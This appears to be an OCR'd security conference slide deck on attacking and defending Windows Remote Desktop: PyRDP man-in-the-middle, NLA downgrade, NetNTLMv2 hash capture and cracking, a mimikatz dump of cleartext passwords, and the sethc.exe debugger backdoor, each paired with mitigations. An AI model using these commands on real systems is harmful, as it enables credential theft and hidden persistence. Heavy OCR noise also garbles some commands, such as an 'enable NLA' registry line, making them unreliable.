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About Us

Olivier Bllodeau

Cybersecurity Research Lead at : :
GoSecure Lisandro Ubledo

e Jack of all trades, master of none Security Researcher at GoSecure

« Speaker BlackHat, RSAC, SecTor, etc.

» Co-founder MontréHack (hands-on
security workshops)

Cloud-based trickery
* Malware analysis and Threat research
Stratosphere Labs collaborator

* NorthSec VP Training / Hacker Jeopardy
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Remote Desktop Protocol

!a my-server.gosec.co - Remote Desktop Connection — O *
= Server Manager — X

Server Manager * Local Server

ﬁ Dashboard

b Remote Desktop Connection Local Server
All Servers

B PROPERTIES
. For EC2ZAMAZ-615509)

Computer name ECZAMAZ-615509) Last installed updates 5/19/2017 8:36 PM
Workgroup WORKGROUP Windows Update Newver check for up

f REITIDtE DE'SktDp File and Storage Services b Last checked for updates 5/19/2017 8:36 PM
»¢) Connection

Windows Firewall Public: On Windows Defender Dizabled
Remote management Disabled Feedback & Diagnostics Settings
C |Eh: | Fabrik Remaote Desktop Enabled E Enhanced Security Configuration On
ompLiter: ample: computer fabrikam.com NIC Teaming Disabled Time zone (UTC) Coordinated
Ethernet IPv4 address assigned by DHCP, IPv6 enabled Product ID 00376-40000-0000
Username:  Mone speciied e

The computer name field is blank . Enter a full remote computer
name.

Operating system version Microsoft Windows Server 2016 Datacenter Processors Intel(R) Xeon(R) CP

= Hardware information Xen HVM domU nstalled memaory (RAM) 1GE
L= Show Cptions

Total disk space 30 GB

EVENTS
All events | 2 tota

Server Name ID Severity Source Leg Date and Time

EC2AMAZ-6IS509) 10016 Error Microsoft-Windows-DistributedCOM  System  3/24/2022 5:25:18 PM
EC2AMAZ-6I1S509) 10016 Error Microsoft-Windows-DistributedCOM  System  3/24/2022 5:24:18 PM




RDP Layers
From TCP to Clipboard Management and I/O Channels

ecurity - /O
CS - Security ~ Clipboard
TCP = Segmeniai ity +  Drives

st-path




RDP Virtual Channels

Multiplexing data and extensions within a single connection

I/O Channel

Device Redirection

Connection

Clipboard

Sound

Extra RDP features and
extensions are
implemented in virtual
channels

Server sends a list of
available channels during
connection phase

Client chooses which
channels to join



RDP Security E]

* RC4 + Graphical login (dead)
* TLS + Graphical login (legacy)

e TLS + Network Level Authentication
(NLA) which relies on CredSSP

e Remote Credential Guard and
Restricted Admin
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MITM Risks

B Remote Desktop Connection >
The identity of the remote computer cannot be venfied. Do
- . -
 Security Downgrade Attacks e
The remote computer could not be authenticated due to problems with its
® NI_A -> TI_S securty cerificate. k may be unsafe to proceed.
) ) ) Mame mismatch
e Clicking Through Warnings B Requested remote comper
My-SErver Qosec.co
Ijl Mame in the cerificate from the remote computer:
¢ Im p a Et EC2AMAZ-6ISH05)
* []IS|J|E|y Cerfficate emors
® KEYIJ 1] a["d The following emors were encountered while validating the remote
computer's cerificate:
° [: | | IJIJ 0d rd /v The server name on the certificate is incomect.

* SEFVEP_SIEIE takEDVEP /1 The certfficate is not from a trusted certifying authority.
o [lient-side file stealing
e [lient-side takeover™

Do you want to connect despite these cerificate emors?

[ ] Dont ask me again for connections to this computer

View cerfficate. .. Yes

*- implementation pending



¥t

[ ]GOSECURE

1

r

0

Attack VldEﬂ Demu

: ’ But flrst

ff’t )
e

—

e NNl N y

ip L2 later,

et

TSRy 4s

LN



Our Attack Tool: PyRDP |::|

Learn More About [t!

Source Code / Documentation Past Presentations & Blogs
 https://qgithub.com/GoSecure/pyrdp * Introduction Blog Post

 PyRDP ReadMe * NorthSec 2019 Talk

e PyRDP Transparent Proxying Guide » BlackHat Arsenal 2019

e Windows RDP Certificate Extraction * Blog: PyRDP on Autopilot

e RDP Connection Sequence e DerbyCon 2019 (Viden)

« RDP Basic Protocol Specification « DEFCON 28 Demao Labs

e Blog: Announcing PyRDP 1.0
e |.0 released at SecTor 2020
e BlackHat Arsenal 2021



https://github.com/GoSecure/pyrdp
https://github.com/GoSecure/pyrdp/tree/master/#readme
https://github.com/GoSecure/pyrdp/blob/master/docs/transparent-proxy.md
https://github.com/GoSecure/pyrdp/blob/master/docs/cert-extraction.md
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/023f1e69-cfe8-4ee6-9ee0-7e759fb4e4ee
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5073f4ed-1e93-45e1-b039-6e30c385867c
https://www.gosecure.net/blog/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera
https://docs.google.com/presentation/d/1avcn8Sh2b3IE7AA0G9l7Cj5F1pxqizUm98IbXUo2cvY/edit#slide=id.g404b70030f_0_581
https://docs.google.com/presentation/d/17P_l2n-hgCehQ5eTWilru4IXXHnGIRTj4ftoW4BiX5A/edit?usp=sharing
https://www.gosecure.net/blog/2020/02/26/pyrdp-on-autopilot-unattended-credential-harvesting-and-client-side-file-stealing/
https://docs.google.com/presentation/d/1UAiN2EZwDcmBjLe_t5HXB0LzbNclU3nnigC-XM4neIU/edit?usp=sharing
https://www.youtube.com/watch?v=zgt3N6Nrnss
https://www.youtube.com/watch?v=1q2Eo3x3u0g
https://www.gosecure.net/blog/2020/10/20/announcing-pyrdp-1-0/
https://sector.ca/sessions/achieving-pyrdp-1-0-the-remote-desktop-pwnage-mitm-and-library/
https://gosecure.github.io/presentations/2021-08-05_blackhat-usa/BlackHat-USA-21-Arsenal-PyRDP-OlivierBilodeau.pdf
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https://youtu.be/QAvB1m5Dch0

Detect Security Protocol Downgrade

B> Remote Desktop Connection X

Normal Flow r

The identity of the remote computer cannot be verified. Do
you want to connect anyway?

The remote computer could not be authenticated due to problems with its
securty cerificate. t may be unsafe to proceed.

Windows Security Certificate name
Enter your credentials =] MName in the certificate from the remote computer:
ECZAMAZ-BMCNDLD
These credentials will be used to connect to my-server.gosec.co.
Certificate emors
The following emors were encountered while validating the remate
_ computer’s cerificate:
Password
. . : o .
0| Gz /1 The cerificate is not from a trusted certifying authority .

QK Cancel

Do you want to connect despite these cerificate emors?

(] Dont ask me again for connections to this computer

View cetfficate... Yes Ma




Detect Security Protocol Downgrade

Degraded Flow

& my-server.gosec.co - Remote Desktop Cennection

%" Remote Desktop Connection >

F The identity of the remote computer cannot be verified. Do
/' you want to conmect anyway ?

The remote computer could not be authenticated due to problems with its I
securty cerficate. t may be unsafe to proceed.

Mame mismatch

1M Reguested remote computer:
My-SEMVer.gosec.co

—F:J Mame in the cerificate from the remote computer:
EC2AMAZ-BMCHDLD

Administrator

Certificate emors

The following emors were encountered while validating the remote _ -

computer’s cerificate:

/1 The server name on the cerificate is incomect.

/1y The certificate is not from a trusted cerifying authority.

Do you want to connect despite these certfficate emars?

[] Dont ask me again for connections to this computer

View cerficate. .. Tes




Detect Security Protocol Downgrade

Graphical Login instead of NLA Prompt

Windows Security

Enter your credentials

These credentials will be used to connect to my-server.gosec.co.

Password

D Remember me

QK Cancel

Administrator
EX




What is Network Level Authentication (NLA)?

System Properties

Computer Mame  Hardware  Advanced Remote

e Authentication before session
establishment

Remote Aszsistance

Allaw Remate Azzistance connections to thiz compter

e Security Advantages
o Attack Surface Reduction Advanced..
e [od Resistance

Femote Deskiop

¢ Sln Q | E S|Qn' I:l I Chooge an aption, and then zpecify who can connect.

o | ntl"[l AUCP d | N R [] P E _ I] () Don't allow remate connections to this camputer

(@) Allow remate connections to this computer

° By d Ea LI |t S l n E E S E PVE r 2 [I | 2 E n d Blavy connections only from computers inning Bemate

' Drezkiop with Metwark, Level Authentication [recommended)
Windows 8

Help e choose Select Uszers, .

QE. Cancel Apply




Attack Surface Reduction

Connection

Channel

Clip

Drive Mapping




Authentication: CredSSP
NLA's Authentication Mechanism

e Initial plaintext negotiation method

e TLS Channel

 SPNEGO
o« NTLM

e Kerberos

 Crypto prevents MITM
« E(H(PK|Challenge ), NTLM-Hash)

Client

NEG_REQ

Server

RSP (CredSSP)

E

TLS

negTokenlnit (NTLM)

accept-completed (NTLM)

—]

Encrypted w/ NTLM hash

Client-Server Binding

—

Server-Client Binding

TSCredentials

RDP Connection




NLA Attack #1: Downgrade Attack

Downgrade the NEG_REQ to remaove
CredSSP from supported protocaols

Windows Security

Enter your credentials

These credentials will be used to connect to my-server.gosec.co.

ser name

Password

D Remember me

QK Cancel

Administrator
EX




Prevent NLA Downgrade Attacks

System Properties

Computer Mame  Hardware  Advanced Remote

» Enforce NLA at the Server Side N
¢ Th|3 IS thE dEfﬂ“It Allow RHemote Azsistance connections o this cormputer

Advanced...

Femote Deskiop

Chooge an aption, and then zpecify who can connect.
() Don't allow remate connections to this camputer

(@) Allow remate connections to this computer

Blavy connections only from computers inning Bemate
Drezkiop with Metwark, Level Authentication [recommended)

Help e choose Select Uszers, .

QE. Cancel Apply




Prevent NLA Downgrade Attacks

For Reference

Powershell/Reqistry

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v
UserAuthentication /t REG_DWORD /d © /f;

Group policy
Under

Computer Configuration/Administrative Templates/Windows Components/Remote Desktop Settings/Remote
Desktop Session Host/Security

Set

Require user authentication for remote connections by using Network Level Authentication

To Enable
Lan't be disabled by users afterwards | ‘



NLA Attack #2Z: Redirection to Non-NLA

|. Detects NLA enforcement
2. Transparently redirects
3. To an attacker controlled non-NLA system

®_ -
_ o - Ik
g} '_... 192.168.1.100

PyRDP process running with:

® -
ROP Client --nla-redirection-host 192.168.2.200 "i%,

192.168.2.200



Prevent Redirection to Non-NLA
Bad News

No specific way to enforce NLA on the client side

hood News

More general mitigation advice coming up

e Marc-André Moreau

¥ @awakecoding

@fdwl is there a GPO, registry key or .RDP file option
that can be used to enforce RDP NLA *in the client™?
@obilodeau just asked me, and it totally makes sense
to get a client-side configuration, since he's working on
attacks involving a malicious RDP server

Traduire le Tweet

5:32 PM - 5 avr. 2022 - Twitter Web App

Q 0 Q A
s Tweetez votre réponse.
Olivier Bilodeau @obilodeau - 8 min
En réponse & @awakecoding et @fdwl
Trying to defend against this scenario
NLA Attack #2: Redirection to Non-NLA
Click to add subtith
l. Detects NLA enforcement
2. Transparently redirects
3. Toan attacker controlled non-NLA system
@ il.
Ql @ I 168 1. 100
g = "! !
mmmmmm alacredirereion-bost 197.168.2.200 i&,
193, 168.2. 300



NLA Attack #3: NLA MITM

 No tampering at the SPNEGO layer

* But the crypto said?
« E(H(PK|Challenge ), NTLM-Hash)

 Requires substantial setup
e derver certificate and private key™

* https://qithub.com/GoSecure/pyrdp/blob/master/docs/cert-extraction.md

Client

NEG REQ

PyrOP | PK

NEG_REQ

Server

RSP (CredSSP)

RSP (CredSSP)

TLS

negTokenlnit (NTLM)

negTokeninit (NTLM)

accept-completed (NTLM)

accept-completed (NTLM)

Encrypted w/ NTLM hash

Client-Server Binding

Client-Server Binding

Server-Client Binding

Server-Client Binding

TSCredentials

TSCredentials

RDP Connection

RDP Connection



https://github.com/GoSecure/pyrdp/blob/master/docs/cert-extraction.md

NLA Bypass Mitigation E]
More Bad News

No specific way to enforce NLA on the client
side

Good News

More general mitigation advice coming up
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NetNTLMvZ Hash Capture E]

e Onan NLA authentication

NEGOTIATE
CHALLENGE
AUTHENTICATION

* Victim is tricked into connectmg to
rogue RDP

* The NTLM hash capture is done on-
the-fly

* Hashes can be cracked using password
cracking tools



NetNTLMvZ Hash Capture

(cont.) ~

Jotn
ipper

. MNetNTLMvZ
}““'*"i.\._\ Hash

NEGOTIATE
CHALLENGE
AUTHENTICATE

PyRDP Authentication
MITM Response



NetNTLMvZ Hash Capture

Example of captured hash

User Server

Challenge Net-NTLMv2 Hash

] - INFO - Karenl©5427 -
:£298d601927699c77aab319e7de5b9%ac

- [!] NTLMSSP Hash:

Net-NTLMv2 Response



NetNTLMv2 Hash Cracking

With john (hashcat works too)

$ john --format=netntlmv2 --wordlist=~/wordlist/rockyou.txt hashes.txt
Using default input encoding: UTF-8

Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

purple (admin)

1g 0:00:00:00 DONE (2022-04-07 14:44) 14.28g/s 58514p/s 58514c/s 58514C/s
123456..000000

Session completed



Preventing Hash Capture

Verity connection to RDP server
* Server address
e Domain name

Always look for valid certificates

o Attack tools will often use hardcoded
certificate values

Never use RDP on untrusted
networks!

Avoid NTLM / Use Kerberos
Audit NTLM usage®
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Use Let’s Encrypt to Protect RDP

e Jt works!

* Impractical T AL S
 No auto-renewal or Wi il

B Remote Deshiog Commection

expose ports 80/443 R —
e Must use a domain name

Cooputer | SERNIPEEES |

User name WINDEVZO2EVAL \Adnwrwtaor

Tou ol e pebad biv Credernals when gy GOVl

HOouoOuwe@dw Y ~Qaw S

Q@ & SRFUGSRgMCU




Attacker Controlled Let’s Encrypt Signed Certificate E]

Easy way to increase trust in a server
Non-NLA only PyRDP requires it

Step by step:

# with DNS already pointing to the PyRDP server %2 Remote Desktop Connection

snap install core; snap refresh core

AL | The identity of the remote computer was verified by
| using a server cerificate.

snap install --classic certbot
certbot certonly -standalone

View cedificate. ..

pyrdp-mitm.py -i 172.19.0.1 -c /etc/letsencPypt[live/my-server.gosec.co/Fullchain.pem -k \
/etc/letsencrypt/live/my-server.gosec.co/privkey.pem 52.23.235.42



Copy on Attacker Controlled Server

If you want to support/attack NLA %, Remote Desktop Connection

f]?:J The identity of the remote computer was verified by
LS using a server certfficate.

Step by Step: View certificate... |T]

openssl pkcsl2 -export -passin "pass:admin" -passout "pass:admin" \
-out my-server.pfx -inkey cert.key -in fullchain.pem

# Copy pfx to RDP Server

# In Admin PowerShell console:

$password = ("admin" | ConvertTo-SecureString -AsPlainText -Force);

$thumbprint = (Import-PfxCertificate -FilePath C:\Windows\Temp\cert.pfx -
CertStorelLocation cert:\LocalMachine\My -Password $password).Thumbprint;

$path = (Get-WmiObject -class "Win32 TSGeneralSetting" -Namespace
root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'")._ path;

wmic /namespace:\\root\cimv2\TerminalServices PATH Win32 TSGeneralSetting Set
SSLCertificateSHAlHash="$thumbprint";
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Stealing Credentials E]

* Credentials are sent as part of NLA
connection

* Terminal Service saves passwords in
memory

e Passwords are in cleartext

* Mimikatz to the rescue :)



Stealing Credentials

(cont.)

v

Administrateur

HEHEE . mimikatz 2.2.0 (x64) #19641 May 17 2021 23:43:36
JH#E S ##. "A La Vie, A L'Amour” - (oe.eo0)

## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
ﬁ ## \ / ## > https://blog.gentilkiwi.com/mimikatz
s “H#E v HES Vincent LE TOUX ( vincent.letoux@gmail.com )
THEHHEES > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # version

_— 1°¥ Gestionnaire des taches
mimikatz 2.2.0 (arch x64) oo ; :
Windows NT 10.0 build 17763 (arch x64) Echies. Opfions: Affichage
msvc 150036729 267 Processus Performance Utilisateurs Détails Services

mimikatz # privilege: :debug

2 o, 0
Privilege "28' OK 1% 74%
Fitilcatanr Cioti b Deacaccare AR S o
- s 1 ?—7 - . of

mimikatz # ts::logonpasswords Adiritnemateatio) o 426 Mo
Domain : n Administrateur (19) 0% 104,6 Mo

Panneau de UserName : Administrateur@lab.local
configuration Password : wazal234/ gentiloperateur (16) 0% 103,1 Mo

Domain : KIJOou
UserName : gentiloperateur
Password : wazal234/ope

mimikatz

mimikatz #



Prevent credentials theft E]

Three ways of protecting from this attack:

1. Restricted Admin Mode

* Avoid sending reusable credentials

2. Remote Credential Guard
e Same as Restricted Admin Mode

3. Smartcard Authentication

* Physical smart cards used for
authentication



Prevent credentials theft

Windows Defender Remote Credential Guard

+  Credentials protected by Windows Defender Remote Credential Guard
+  Connect toothersystemsusing 550
+  Host must support Windows Defender Remote Credential Guard

J Kerberos

¥ uTLM

.,’ Accesstoservices from server
&' Prevent Pass-the-Hash
 Prevent use of credentialsafter disconnection

Restricted Admin Mode

« Credentialsusedareremote serverlocal admincredential s
+  Connect to othersystemsusingthe host'sidentity

ﬁ *  Host must support Restricted Adminmode
— + Highest protection level
+  Reqguiresuseraccount administratorrights
" HKerberos
MTLRA
J Accesstoservices from server a = Credential protaction
Prevent Pass-the-Hash w=1) = Credentials

J Prevent use of credential s after disconnection



Feature

Protection benefits

Version support

Helps prevent

Credentials supported
from the remote
desktop client device

Access

Metwork identity

Multi-hop

Supported
authentication

Remote Desktop

Credentials on the server are
not protected from Pass-the-
Hash attacks.

The remote computer can run
any Windows operating

system

MSA

* Signed on credentials
* Supplied credentials
* Saved credentials

Users allowed, that is,
members of Remote Desktop
Users group of remaote host.

Remote Deskiop session
connects to other resources

as signed-in user.

From the remote desktop,
you can connect through
Remote Desktop to another
computer

Any negotiable protocol,

Windows Defender Remote
Credential Guard

User credentials remain on the client.
An attacker can act on behalf of the
user anly when the session is
ongoing

Both the client and the remote
computer must be running at least
Windows 10, version 1607, or
Windows Server 2016.

®* Pacc-the-Hash
* |se of a credential after
disconnection

* Signed on credentials only

Users allowed, that is, members of
Remote Deskiop Users of remote
host.

Remote Deskiop session connects to
other resources as signed-in user.

From the remote desktop, you can
connect through Remote Desktop
to another computer.

Kerberos only.

Restricted Admin mode

User logs on to the server as local
administrator, so an attacker cannot
act on behalf of the "domain user”.
Any attack is local to the server

The remote computer must be
running at least patched Windows 7
or patched Windows Server 2008 R2.

For more information about patches
[software updates) related to
Restricted Admin mode, see
Microsoft Security Advisory 2871997.

* Pass-the-Hash
* lse of domain identity during
connection

* Signed on credentials
* Supplied credentials
* Saved credentials

Administrators only, that is, only
members of Administrators group of
remote host.

Remote Desktop session connects to
other resources as remote host's
identity.

Mot allowed for user as the session is
running as a local host account

Any negotiable protocol
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_!! Remote Desktop Connection

e The remote computer doesn't support Restricted Administration mode or Remote Guard.

~  See details
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Enabling Restricted Admin Mode E]

Edit the RDP server's registry and enable
this mode:

reg add
HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v
DisableRestrictedAdmin /d © /t REG_DWORD

No reboot required.

To connect to the RDP server with this
mode enabled you must run on the client:

mstsc.exe /RestrictedAdmin



Enabling Remote Credential Guard E]

« Edit the RDP server's registry and enable this
mode:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa
/v DisableRestrictedAdmin /d © /t REG_DWORD

* No reboot required.

* To connect to the RDP server with this mode
enable you can run on the client:

e
i AN

Logon settings

. L Enter the name of the remote computer.
§ | mstsc.exe /remoteGuard
' Computer: | MIy-SErver gosec.co w |
!‘} Ilser name: WINDEVZZ0ZEVAL \User
=1 . °
*. Your Windows logon credentials will be used to connect. Or Via GPO
Aways ask for credentials https://docs.microsoft.com/en-us/windows/security/identity-

protection/remote-credential-guard#using-windows-defender-remote-
credential-guard



https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard#using-windows-defender-remote-credential-guard
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Backdooring RDP

Accessibility tools can be backdoored

Applications like sethc.exe can be used:

* Log into the system

* Add a debugger for this application
via Registry

HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File
Execution Options\sethc.exe

"Debugger"="C:\Windows\System32\cmd.exe"



Backdooring RDP

(cont.

Microsoft Windows [Version -143931
(c? 2016 Microsoft Corporation. All rights reserved.

C:xWindowsssysten3d2 >

Administrator

%




Detect backdoors via Accessibility tools E]

* Make sure that previous Registry entry
or similar were not added

* Automatic check for backdooring

 Use Sticky-Keys-Slayer™ to check for
Utilman.exe or sethc.exe backdoor

e Windows Defender

* Threat:
Behavior:Win32/AccessibilityEscalati
on.A

* Blacklist some system tools as
debuggers
* cmd.exe
 taskmgr.exe

(*) https://github.com/linuz/Sticky-Keys-Slayer



https://github.com/linuz/Sticky-Keys-Slayer
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Attacks on Exposed RDP Systems

_____________________________________________________________________________________________________________________________________________________________________________________________

New RDP Connections Per Day (Last Month) @ :

110,000

100,000

2022-04-06

90,000
' New RDP Connections 115,910

80,000
70,000
60,000

50,000

40,000

30,000

20,000

] i
=l B _H_= B u_EB

2022-03-13 2022-03-20 2022-03-27 2022-04-03

New RDP Connections

e

_____________________________________________________________________________________________________________________________________________________________________________________________



Risks of RDP
Case in point: Okta

' Remote Desktop
>¢) Connection

rdp .chrisro fun:3401
Windows Security

Enter your credentials

These credentials will be used to connect to rdp.chrisro.fun.

I:l Remember me

OK Cancel




Risks of RDP
Case in point: Okta

o

2 Remote Control

O e X 3 Steckisy %X | @ O x| € oKD X | M inbox x | [E o X | O tawmht x| @ okizecky X | @ ok¥-okt: x | @ 4GWEE x | O Cbe: X | @ Newlsd X nstances X | @ TAGWES X + v = - PN
& 4 # oktackia.com/s; serHome?iss=hitpsSeIANZF%2Fokta okta.combisess 1= AUTHENTICA 2 » e
°ktq A8 Y : Okta i
My Apps
4 (® Recently Used
Racantly Used
Work ol Py eve “an
, # Jira dws OD OD - @
Add section
s e Ont C K21 - U "
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Recap of the Risks

Attacks on the Client Attacks on the Server

o Stealing files, clipboard, keystrokes  [redential Bruteforcing
 Recording screen e 3ession takeover

e JStealing hashed or plaintext credentials ¢ Command injection

 [ode exec via DLL Sideloading™

 RDP Phishing aka Rogue RDP




Future Work E]

Defensive Side [ffensive Side

« RD Gateway  RestrictedAdmin with PyRDP
 Require valid TLS with specific CA * Kerberos Downgrade

« NTLM Restrictions  JShadow Attack Framework (AutoRDPwn)

 Shadow Attack Framework (AutoRDPwn) e RD bateway
* Enterprise-scale mitigation

e Blog, blog, blog!



Red Team Take Aways

1011001 01101010 1
I IK" ,U’

* RDPis often misconfigured and under the
radar

*  You can do more than credential bruteforcing
with it
 Attack clients
« Attack servers
 Attack both!
* Not a lot of EDR/XDR coverage




Blue Team Take Aways E]

 Today: Never use RDP on unprotected
networks!

 Today: Train users to not click through
certificate errors!

« Soon: Make sure NLA is enforced on all RDP

servers (default, often deactivated)

 Long-term: Carefully roll-out Remote
Credential Guard or Restricted Admin client-
side enforcement



Resources

https://docs.microsoft.com/en-us/windows-
hardware/customize/desktop/unattend/microsoft-windows-
terminalservices-rdp-winstationextensions

https://www.qosecure.net/blog/2020/10/20/announcing-pyrdp-1-0/

https://www.qosecure.net/blog/2022/01/17/capturing-rdp-netntlmv2-hashes-

attack-details-and-a-technical-how-to-quide/

https://www.darkoperator.com/blog/2012/3/17/configuring-network-level-

authentication-for-rdp.html

https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-

services/clients/rdp-files



https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions
https://www.gosecure.net/blog/2020/10/20/announcing-pyrdp-1-0/
https://www.gosecure.net/blog/2022/01/17/capturing-rdp-netntlmv2-hashes-attack-details-and-a-technical-how-to-guide/
https://www.darkoperator.com/blog/2012/3/17/configuring-network-level-authentication-for-rdp.html
https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/rdp-files

